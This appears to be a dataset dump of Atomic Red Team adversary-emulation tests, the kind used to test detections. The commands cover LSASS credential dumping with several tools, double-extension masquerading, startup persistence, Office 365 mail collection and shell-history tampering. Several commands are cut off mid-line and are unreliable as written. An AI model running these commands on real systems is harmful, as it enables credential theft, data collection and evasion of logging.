deardaniel/secdata-raw huggingface dataset:
Atomic Red Team — T1003.001: OS Credential Dumping: LSASS Memory
Test: Dump LSASS with createdump.exe from .Net v5
Platforms: windows
Executor: powershell

Description:
Use createdump executable from .NET to create an LSASS dump.

[Reference](https://twitter.com/bopin2020/status/[PII_REDACTED]99272960?s=20)


Command:
$exePath =  resolve-path "$env:ProgramFiles\dotnet\shared\Microsoft.NETCore.App\5*\createdump.exe"
& "$exePath" -u -f $env:Temp\dotnet-lsass.dmp (Get-Process lsass).id


Cleanup:
Remove-Item $env:Temp\dotnet-lsass.dmp -ErrorAction Ignore


Dependencies:
.Net v5 must be installed
Atomic Red Team — T1003.001: OS Credential Dumping: LSASS Memory
Test: Dump LSASS.exe using imported Microsoft DLLs
Platforms: windows
Executor: powershell

Description:
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved by
importing built-in DLLs and calling exported functions. Xordump will re-read the resulting minidump 
file and delete it immediately to avoid brittle EDR detections that signature lsass minidump files.

Upon successful execution, you should see the following file created $env:TEMP\lsass-xordump.t1003.001.dmp.


Command:
#{xordump_exe} -out #{output_file} -x 0x41


Cleanup:
Remove-Item #{output_file} -ErrorAction Ignore


Dependencies:
Computer must have xordump.exe
Atomic Red Team — T1003.001: OS Credential Dumping: LSASS Memory
Test: Dump LSASS.exe using lolbin rdrleakdiag.exe
Platforms: windows
Executor: powershell

Description:
The memory of lsass.exe is often dumped for offline credential theft attacks. 
This can be achieved with lolbin rdrleakdiag.exe. 

Upon successful execution, you should see the following files created, $env:TEMP\minidump_<PID>.dmp and  $env:TEMP\results_<PID>.hlk.


Command:
if (Test-Path -Path "$env:SystemRoot\System32\rdrleakdiag.exe") {
      $binary_path = "$env:SystemRoot\System32\rdrleakdiag.exe"
  } elseif (Test-Path -Path "$env:SystemRoot\SysWOW64\rdrleakdiag.exe") {
      $binary_path = "$env:SystemRoot\SysWOW64\rdrleakdiag.exe"
  } else {
      $binary_path = "File not found"
      exit 1
  }
$lsass_pid = get-process lsass |select -expand id
if (-not (Test-Path -Path"$env:TEMP\t1003.001-13-rdrleakdiag")) {New-Item -ItemType Directory -Path $env:TEMP\t1003.001-13-rdrleakdiag -Force} 
write-host $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
& $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
Write-Host "Minidump file, minidump_$lsass_pid.dmp can be found inside $env:TEMP\t1003.00

Cleanup:
Remove-Item $env:TEMP\t1003.001-13-rdrleakdiag -Recurse -Force -ErrorAction Ignore
Atomic Red Team — T1003.001: OS Credential Dumping: LSASS Memory
Test: Dump LSASS.exe Memory through Silent Process Exit
Platforms: windows
Executor: command_prompt

Description:
WerFault.exe (Windows Error Reporting process that handles process crashes) can be abused to create a 
memory dump of lsass.exe, in a directory of your choice. This method relies on a mechanism 
introduced in Windows 7 called Silent Process Exit, which provides the ability to trigger
specific actions for a monitored process in one of two scenarios; either the process terminates
itself by calling ExitProcess(), or another process terminates it via the TerminateProcess() API. 
The major advantage of this technique is that it does not cause lsass.exe to crash, and since 
WerFault.exe is used to create file dumps all the time (not just lsass.exe), this method provides 
the added advantage of going undetected. WerFault.exe is a process known for dumping every crashing process, 
from an attacker standpoint this is appealing as their illicit credential extraction will 
appear benign because from a defender’s viewpoint it’s within the realm of normal activity.

Upon successful execution, you should find the dump file in directory of your choice or "%temp%\SilentProcessExit" by default.


Command:
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe --silent-process-exit "#{output_folder}"


Cleanup:
rmdir "#{output_folder}" /s /q >nul 2> nul


Dependencies:
NanoDump executable must exist on disk at specified location (PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe)
Atomic Red Team — T1036.007: Masquerading: Double File Extension
Test: File Extension Masquerading
Platforms: windows
Executor: command_prompt

Description:
download and execute a file masquerading as images or Office files. Upon execution 3 calc instances and 3 vbs windows will be launched.

e.g SOME_LEGIT_NAME.[doc,docx,xls,xlsx,pdf,rtf,png,jpg,etc.].[exe,vbs,js,ps1,etc] (Quartelyreport.docx.exe)


Command:
copy "#{exe_path}" %temp%\T1036.007_masquerading.docx.exe /Y
copy "#{exe_path}" %temp%\T1036.007_masquerading.pdf.exe /Y
copy "#{exe_path}" %temp%\T1036.007_masquerading.ps1.exe /Y
copy "#{vbs_path}" %temp%\T1036.007_masquerading.xls.vbs /Y
copy "#{vbs_path}" %temp%\T1036.007_masquerading.xlsx.vbs /Y
copy "#{vbs_path}" %temp%\T1036.007_masquerading.png.vbs /Y
copy "#{ps1_path}" %temp%\T1036.007_masquerading.doc.ps1 /Y
copy "#{ps1_path}" %temp%\T1036.007_masquerading.pdf.ps1 /Y
copy "#{ps1_path}" %temp%\T1036.007_masquerading.rtf.ps1 /Y
%temp%\T1036.007_masquerading.docx.exe
%temp%\T1036.007_masquerading.pdf.exe
%temp%\T1036.007_masquerading.ps1.exe
%temp%\T1036.007_masquerading.xls.vbs
%temp%\T1036.007_masquerading.xlsx.vbs
%temp%\T1036.007_masquerading.png.vbs
C:\Windows\System32\WindowsP

Cleanup:
del /f %temp%\T1036.007_masquerading.docx.exe > nul 2>&1
del /f %temp%\T1036.007_masquerading.pdf.exe > nul 2>&1
del /f %temp%\T1036.007_masquerading.ps1.exe > nul 2>&1
del /f %temp%\T1036.007_masquerading.xls.vbs > nul 2>&1
del /f %temp%\T1036.007_masquerading.xlsx.vbs > nul 2>&1
del /f %temp%\T103

Dependencies:
File to copy must exist on disk at specified location (#{vbs_path})

File to copy must exist on disk at specified location (#{ps1_path})
Atomic Red Team — T1571: Non-Standard Port
Test: Testing usage of uncommonly used port with PowerShell
Platforms: windows
Executor: powershell

Description:
Testing uncommonly used port utilizing PowerShell. APT33 has been known to attempt telnet over port 8081. Upon execution, details about the successful
port check will be displayed.


Command:
Test-NetConnection -ComputerName #{domain} -port #{port}
Atomic Red Team — T1571: Non-Standard Port
Test: Testing usage of uncommonly used port
Platforms: linux, macos
Executor: sh

Description:
Testing uncommonly used port utilizing telnet.


Command:
echo quit | telnet #{domain} #{port}
exit 0


Dependencies:
Requires telnet
# T1571 - Non-Standard Port

## Description from ATT&CK

> Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088(Citation: Symantec Elfin Mar 2019) or port 587(Citation: Fortinet Agent Tesla April 2018) as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
> 
> Adversaries may also make changes to victim systems to abuse non-standard ports. For example, Registry keys and other configuration settings can be used to modify protocol and port pairings.(Citation: change_rdp_port_conti)

[Source](https://attack.mitre.org/techniques/T1571)

## Atomic Tests

- [Atomic Test #1: Testing usage of uncommonly used port with PowerShell](#atomic-test-1-testing-usage-of-uncommonly-used-port-with-powershell)
- [Atomic Test #2: Testing usage of uncommonly used port](#atomic-test-2-testing-usage-of-uncommonly-used-port)

### Atomic Test #1: Testing usage of uncommonly used port with PowerShell

Testing uncommonly used port utilizing PowerShell. APT33 has been known to attempt telnet over port 8081. Upon execution, details about the successful
port check will be displayed.

**Supported Platforms:** Windows

**auto_generated_guid:** `21fe622f-8e53-4b31-ba83-6d333c2583f4`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| port | Specify uncommon port number | string | 8081|
| domain | Specify target hostname | string | google.com|

#### Attack Commands: Run with `powershell`!

```powershell
Test-NetConnection -ComputerName #{domain} -port #{port}
```

### Atomic Test #2: Testing usage of uncommonly used port

Testing uncommonly used port utilizing telnet.

**Supported Platforms:** Linux, macOS

**auto_generated_guid:** `5db21e1d-dd9c-4a50-b885-b1e748912767`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| port | Specify uncommon port number | string | 8081|
| domain | Specify target hostname | string | google.com|

#### Attack Commands: Run with `sh`!

```sh
echo quit | telnet #{domain} #{port}
exit 0
```


#### Dependencies: Run with `sh`!

##### Description: Requires telnet

###### Check Prereq Commands

```sh
which telnet
```

###### Get Prereq Commands

```sh
echo "please install telnet to run this test"; exit 1
```
Atomic Red Team — T1072: Software Deployment Tools
Test: Radmin Viewer Utility
Platforms: windows
Executor: command_prompt

Description:
An adversary may use Radmin Viewer Utility to remotely control Windows device, this will start the radmin console.


Command:
"%PROGRAMFILES(x86)%/#{radmin_exe}"


Dependencies:
Radmin Viewer Utility must be installed at specified location (#{radmin_exe})
Atomic Red Team — T1072: Software Deployment Tools
Test: PDQ Deploy RAT
Platforms: windows
Executor: command_prompt

Description:
An adversary may use PDQ Deploy Software to deploy the Remote Adminstartion Tool, this will start the PDQ console.


Command:
"%PROGRAMFILES(x86)%/#{PDQ_Deploy_exe}"


Dependencies:
PDQ Deploy will be installed at specified location (#{PDQ_Deploy_exe})
Atomic Red Team — T1072: Software Deployment Tools
Test: Deploy 7-Zip Using Chocolatey
Platforms: windows
Executor: powershell

Description:
An adversary may use Chocolatey to remotely deploy the 7-Zip file archiver utility.


Command:
# Deploy 7-Zip using Chocolatey
choco install -y 7zip


Dependencies:
Chocolatey must be installed to deploy 7-Zip.
Atomic Red Team — T1114.002: Email Collection: Remote Email Collection
Test: Office365 - Remote Mail Collected
Platforms: office-365
Executor: powershell

Description:
Create and register an entra application that downloads emails from a tenant's Office 365 mailboxes using the Microsoft Graph API app-only access. This can be used by an adversary to collect an organization's sensitive information. 


Command:
$ss = ConvertTo-SecureString "#{password}" -AsPlainText -Force
$cred = New-Object PSCredential -ArgumentList '#{username}', $ss
$param = @{
    Credential = $cred
    Force      = $true
}
$null = Connect-AzAccount @param
$token = (Get-AzAccessToken -ResourceTypeName MSGraph -ErrorAction Stop).token
$cert = New-SelfSignedCertificate -Subject "CN=PowerShell Application" -CertStoreLocation "Cert:\CurrentUser\My" -KeyExportPolicy Exportable -KeySpec Signature -KeyLength 2048 -KeyAlgorithm RSA -HashAlgorithm SHA256
$reqResourceAccess = ( @{ "resourceAccess" = (@{"id"= "570282fd-fa5c-430d-a7fd-fc8dc98a9dca"; "type"= "Scope"}, @{ "id"= "7427e0e9-2fba-42fe-b0c0-848c9e6a8182"; "type"= "Scope"}, @{"id"= "37f7f235-527c-4136-accd-4a02d197296e"; "type"= "Scope"}, @{"id"= "14dad69e-099b-42c9-810b-d00298

Cleanup:
connect-mggraph -Scopes AppRoleAssignment.ReadWrite.All,Application.ReadWrite.All,User.Read -NoWelcome
Remove-MgApplication $app.AppId
Remove-Item -Path Cert:\CurrentUser\My\$($cert.thumbprint) -DeleteKey
Disconnect-MgGraph


Dependencies:
Microsoft Graph PowerShell SDK must be installed.

Az.Accounts module must be installed.
Atomic Red Team — T1027.002: Obfuscated Files or Information: Software Packing
Test: Binary simply packed by UPX (linux)
Platforms: linux
Executor: sh

Description:
Copies and then runs a simple binary (just outputting "the cake is a lie"), that was packed by UPX.
No other protection/compression were applied.


Command:
cp #{bin_path} /tmp/packed_bin && /tmp/packed_bin


Cleanup:
rm /tmp/packed_bin
Atomic Red Team — T1027.002: Obfuscated Files or Information: Software Packing
Test: Binary packed by UPX, with modified headers (linux)
Platforms: linux
Executor: sh

Description:
Copies and then runs a simple binary (just outputting "the cake is a lie"), that was packed by UPX.

The UPX magic number (`0x55505821`, "`UPX!`") was changed to (`0x4c4f5452`, "`LOTR`"). This prevents the binary from being detected
by some methods, and especially UPX is not able to uncompress it any more.


Command:
cp #{bin_path} /tmp/packed_bin && /tmp/packed_bin


Cleanup:
rm /tmp/packed_bin
Atomic Red Team — T1027.002: Obfuscated Files or Information: Software Packing
Test: Binary simply packed by UPX
Platforms: macos
Executor: sh

Description:
Copies and then runs a simple binary (just outputting "the cake is a lie"), that was packed by UPX.
No other protection/compression were applied.


Command:
cp #{bin_path} /tmp/packed_bin && /tmp/packed_bin


Cleanup:
rm /tmp/packed_bin
Atomic Red Team — T1027.002: Obfuscated Files or Information: Software Packing
Test: Binary packed by UPX, with modified headers
Platforms: macos
Executor: sh

Description:
Copies and then runs a simple binary (just outputting "the cake is a lie"), that was packed by UPX.

The UPX magic number (`0x55505821`, "`UPX!`") was changed to (`0x4c4f5452`, "`LOTR`"). This prevents the binary from being detected
by some methods, and especially UPX is not able to uncompress it any more.


Command:
cp #{bin_path} /tmp/packed_bin && /tmp/packed_bin


Cleanup:
rm /tmp/packed_bin
Atomic Red Team — T1547.009: Boot or Logon Autostart Execution: Shortcut Modification
Test: Shortcut Modification
Platforms: windows
Executor: command_prompt

Description:
This test to simulate shortcut modification and then execute. example shortcut (*.lnk , .url) strings check with powershell;
gci -path "C:\Users" -recurse -include *.url -ea SilentlyContinue | Select-String -Pattern "exe" | FL.
Upon execution, calc.exe will be launched.


Command:
echo [InternetShortcut] > #{shortcut_file_path}
echo URL=C:\windows\system32\calc.exe >> #{shortcut_file_path}
#{shortcut_file_path}


Cleanup:
del -f #{shortcut_file_path} >nul 2>&1
Atomic Red Team — T1547.009: Boot or Logon Autostart Execution: Shortcut Modification
Test: Create shortcut to cmd in startup folders
Platforms: windows
Executor: powershell

Description:
LNK file to launch CMD placed in startup folder. Upon execution, open File Explorer and browse to "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\"
to view the new shortcut.


Command:
$Shell = New-Object -ComObject ("WScript.Shell")
$ShortCut = $Shell.CreateShortcut("$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\T1547.009.lnk")
$ShortCut.TargetPath="cmd.exe"
$ShortCut.WorkingDirectory = "C:\Windows\System32";
$ShortCut.WindowStyle = 1;
$ShortCut.Description = "T1547.009.";
$ShortCut.Save()

$Shell = New-Object -ComObject ("WScript.Shell")
$ShortCut = $Shell.CreateShortcut("$env:ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\T1547.009.lnk")
$ShortCut.TargetPath="cmd.exe"
$ShortCut.WorkingDirectory = "C:\Windows\System32";
$ShortCut.WindowStyle = 1;
$ShortCut.Description = "T1547.009.";
$ShortCut.Save()


Cleanup:
Remove-Item "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\T1547.009.lnk" -ErrorAction Ignore
Remove-Item "$env:ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\T1547.009.lnk" -ErrorAction Ignore
Atomic Red Team — T1133: External Remote Services
Test: Running Chrome VPN Extensions via the Registry 2 vpn extension
Platforms: windows
Executor: powershell

Description:
Running Chrome VPN Extensions via the Registry install 2 vpn extension, please see "T1133\src\list of vpn extension.txt" to view complete list


Command:
$extList = #{extension_id}
foreach ($extension in $extList) {
  New-Item -Path HKLM:\Software\Wow6432Node\Google\Chrome\Extensions\$extension -Force
  New-ItemProperty -Path "HKLM:\Software\Wow6432Node\Google\Chrome\Extensions\$extension" -Name "update_url" -Value "https://clients2.google.com/service/update2/crx" -PropertyType "String" -Force}
Start chrome
Start-Sleep -Seconds 30
Stop-Process -Name "chrome"


Cleanup:
$extList = #{extension_id}
foreach ($extension in $extList) {
Remove-Item -Path "HKLM:\Software\Wow6432Node\Google\Chrome\Extensions\$extension" -ErrorAction Ignore}


Dependencies:
Chrome must be installed
Atomic Red Team — T1690: Prevent Command History Logging
Test: Disable history collection
Platforms: linux, macos
Executor: sh

Description:
Disables history collection in shells


Command:
export HISTCONTROL=ignoreboth
#{evil_command}
Atomic Red Team — T1690: Prevent Command History Logging
Test: Disable history collection (freebsd)
Platforms: linux
Executor: sh

Description:
Disables history collection in shells


Command:
export HISTSIZE=0
#{evil_command}
Atomic Red Team — T1690: Prevent Command History Logging
Test: Mac HISTCONTROL
Platforms: macos, linux
Executor: manual

Description:
The HISTCONTROL variable is set to ignore (not write to the history file) command that are a duplicate of something already in the history 
and commands that start with a space. This atomic sets this variable in the current session and also writes it to the current user's ~/.bash_profile 
so that it will apply to all future settings as well.
https://www.linuxjournal.com/content/using-bash-history-more-efficiently-histcontrol
Atomic Red Team — T1690: Prevent Command History Logging
Test: Clear bash history
Platforms: linux
Executor: bash

Description:
An attacker may clear the bash history cache and the history file as their last act before logging off to remove the record of their command line activities. 

In this test we use the $HISTFILE variable throughout to 1. confirms the $HISTFILE variable is set 2. echo "" into it 3..5 confirm the file is empty 6 clear the history cache 7. confirm the history cache is empty. This is when the attacker would logoff.


Command:
cp $HISTFILE $HISTFILE.OLD
if ((${#HISTFILE[@]})); then echo $HISTFILE; fi
echo "" > $HISTFILE
if [ $(wc -c <$HISTFILE) -gt 1 ]; then echo "$HISTFILE is larger than 1k"; fi
ls -la $HISTFILE 
cat $HISTFILE
history -c 
if [ $(history |wc -l) -eq 1 ]; then echo "History cache cleared"; fi


Cleanup:
mv -f $HISTFILE.OLD $HISTFILE
Atomic Red Team — T1690: Prevent Command History Logging
Test: Setting the HISTCONTROL environment variable
Platforms: linux
Executor: bash

Description:
An attacker may exploit the space before a command (e.g. " ls") or the duplicate command suppression feature in Bash history to prevent their commands from being recorded in the history file or to obscure the order of commands used. 

In this test we 1. sets $HISTCONTROL to ignoreboth 2. clears the history cache 3. executes ls -la with a space in-front of it 4. confirms that ls -la is not in the history cache 5. sets $HISTCONTROL to erasedups 6. clears the history cache 7..9 executes ls -la $HISTFILE 3 times 10. confirms that their is only one command in history


Command:
TEST=$(echo $HISTCONTROL)
if [ "$HISTCONTROL" != "ignoreboth" ]; then export HISTCONTROL="ignoreboth"; fi
history -c 
ls -la $HISTFILE # " ls -la $HISTFILE"
if [ $(history |wc -l) -eq 1 ]; then echo "ls -la is not in history cache"; fi
if [ "$HISTCONTROL" != "erasedups" ]; then export HISTCONTROL="erasedups"; fi
history -c 
ls -la $HISTFILE
ls -la $HISTFILE
ls -la $HISTFILE
if [ $(history |wc -l) -eq 2 ]; then echo "Their is only one entry for ls -la $HISTFILE"; fi


Cleanup:
export HISTCONTROL=$(echo $TEST)
Atomic Red Team — T1690: Prevent Command History Logging
Test: Setting the HISTFILESIZE environment variable
Platforms: linux
Executor: bash

Description:
An Adversary may set the bash history files size environment variable (HISTFILESIZE) to zero to prevent the logging of commands to the history file after they log out of the system.

Note: we don't wish to log out, so we are just confirming the value of HISTFILESIZE. In this test we 1. echo HISTFILESIZE 2. set it to zero 3. confirm that HISTFILESIZE is set to zero.


Command:
TEST=$(echo $HISTFILESIZE)
echo $HISTFILESIZE
export HISTFILESIZE=0
echo "runnning some commands to populate the history"
whoami
groups
if [ $(echo $HISTFILESIZE) -eq 0 ]; then echo "\$HISTFILESIZE is zero"; else HIST_LENGHT=$(wc -l $HISTFILE); echo "\$HISTFILESIZE is not zero, history lenght is $HIST_LENGHT";  fi


Cleanup:
export HISTCONTROL=$(echo $TEST)
Atomic Red Team — T1690: Prevent Command History Logging
Test: Setting the HISTSIZE environment variable
Platforms: linux
Executor: sh

Description:
An Adversary may set the sh history files size environment variable (HISTSIZE) to zero to prevent the logging of commands to the history file after they log out of the system.

Note: we don't wish to log out, so we are just confirming the value of HISTSIZE. In this test we 1. echo HISTSIZE 2. set it to zero 3. confirm that HISTSIZE is set to zero.


Command:
echo $HISTSIZE
export HISTSIZE=0
echo "runnning some commands to populate the history"
whoami
groups
if [ $(echo $HISTSIZE) -eq 0 ]; then echo "\$HISTSIZE is zero"; else HIST_LENGTH=$(wc -l $HISTFILE); echo "\$HISTSIZE is not zero, history size is $HIST_LENGTH";  fi


Cleanup:
export HISTSIZE=100
Atomic Red Team — T1690: Prevent Command History Logging
Test: Setting the HISTFILE environment variable
Platforms: linux
Executor: bash

Description:
An Adversary may clear, unset or redirect the history environment variable HISTFILE to prevent logging of commands to the history file after they log out of the system.

Note: we don't wish to log out, so we are just confirming the value of HISTFILE. In this test we 1. echo HISTFILE 2. set it to /dev/null 3. confirm that HISTFILE is set to /dev/null.


Command:
TEST=$(echo $HISTFILE)
echo $HISTFILE
export HISTFILE="/dev/null"
echo "runnning some commands to populate the history"
whoami
groups
if [ $(echo $HISTFILE) == "/dev/null" ]; then echo "\$HISTFILE is /dev/null"; else HIST_LENGHT=$(wc -l $HISTFILE); echo "\$HISTFILE is not /dev/null, history lenght is $HIST_LENGHT";  fi


Cleanup:
export HISTFILE=$(echo $TEST)
Atomic Red Team — T1690: Prevent Command History Logging
Test: Setting the HISTFILE environment variable (freebsd)
Platforms: linux
Executor: sh

Description:
An Adversary may clear, unset or redirect the history environment variable HISTFILE to prevent logging of commands to the history file after they log out of the system.

Note: we don't wish to log out, so we are just confirming the value of HISTFILE. In this test we 1. echo HISTFILE 2. set it to /dev/null 3. confirm that HISTFILE is set to /dev/null.


Command:
echo $HISTFILE
export HISTFILE="/dev/null"
if [ $(echo $HISTFILE) == "/dev/null" ]; then echo "\$HISTFILE is /dev/null"; fi


Cleanup:
export HISTFILE=~/.sh_history
Atomic Red Team — T1690: Prevent Command History Logging
Test: Setting the HISTIGNORE environment variable
Platforms: linux
Executor: bash

Description:
An Adversary may take advantage of the HISTIGNORE environment variable either to ignore particular commands or all commands. 

In this test we 1. set HISTIGNORE to ignore ls, rm and ssh commands 2. clear this history cache 3..4 execute ls commands 5. confirm that the ls commands are not in the history cache 6. unset HISTIGNORE variable 7.. same again, but ignoring ALL commands.


Command:
if ((${#HISTIGNORE[@]})); then echo "\$HISTIGNORE = $HISTIGNORE"; else export HISTIGNORE='ls*:rm*:ssh*'; echo "\$HISTIGNORE = $HISTIGNORE"; fi
history -c 
ls -la $HISTFILE
ls -la ~/.bash_logout
if [ $(history |wc -l) -eq 1 ]; then echo "ls commands are not in history"; fi
unset HISTIGNORE
if ((${#HISTIGNORE[@]})); then echo "\$HISTIGNORE = $HISTIGNORE"; else export HISTIGNORE='*'; echo "\$HISTIGNORE = $HISTIGNORE"; fi
history -c 
whoami
groups
if [ $(history |wc -l) -eq 0 ]; then echo "History cache is empty"; fi


Cleanup:
unset HISTIGNORE